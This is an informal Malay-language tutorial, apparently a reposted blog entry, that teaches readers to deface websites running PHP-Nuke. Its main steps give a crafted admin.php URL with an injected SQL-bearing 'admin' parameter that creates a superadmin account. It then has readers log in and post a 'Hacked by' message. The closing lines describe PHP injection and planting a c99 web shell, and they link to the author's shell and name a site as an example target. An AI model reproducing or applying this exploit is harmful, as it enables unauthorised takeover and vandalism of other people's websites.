teknik deface

PERHATIAN:

--Istilah target dlm nota ini
"TARGET"= LAMAN WEB YANG KORANG NAK HACK

Langkah-langkah nya :
1.www.target.com/nuke/index.phpatauwww.target.com/phpnuke/index.php

2.www.target.com/nuke/admin.php=> yg diatas tadi diubah menjadi admin.php

3. Masukkan bug ini di belakang link tadi :
?op=AddAuthor&add_aid=hacker&add_name=God&add_pwd=komando_trg&add_email=
king_burger@yahoo.com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox
Misalnya :www.target.com/nuke/admin.php?op=AddAuthor&add_aid=hacker&add_name=God&add_pwd=komando_trg&add_
email=king_burger@yahoo.com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjoxKalo x jadi bererti link tsb sudah di patch oleh admin nya.
Tapi kalo berhasil, maka di url/browsing munculwww.target.com/nuke/admin.php?op=mod_author


5. Masukan id & password tadi. Masih ingat kan ? lihat yg di atas tadi !
username : hacker
password : komando_trg

6. Kalo sudah masuk ke "Administration Menu" link tsb. Bererti korg udah menguasai link tsb skrg.
Skrg kamu pilih gambar Handphone (dibawahnya ada tulisan Messages).
Kolom Title : Hacked by nama nick kamu
Kolom Content : Path your web !!!
Hey admin.......do you a need help ?
Matrix.Dal.Net - #Target.org
colomn Expiration : Unlimited
Trus klik tab Add Messages yg ada dibawah.

7. Kalo udah, buka url/browsing baru lalu masukkan link target tadi, misal nya :www.target.com/nuke/index.phpatauwww.target.com/phpnuke/index.php.Kalo xde ada hasil nya cuba klik tab Refresh yg ada diatas disamping url/browsing.

ASAS:-
slalunyer attack mggunakan teknik yg dipggil php injection..
aku akan inject mna2 coding php yg bocor..
n then aku guna kan shell utk inject file dkt mne2 web..
contohnyerwww.lm-precision.co.uk
nieh shell aku.. c99http://www.geocities.com/revlon_rulz/c99.txt

Read more:http://blogs.myspace.com/index.cfm?fuseaction=blog.view&friendId=360647448&blogId=486111789#ixzz14K5JwuYs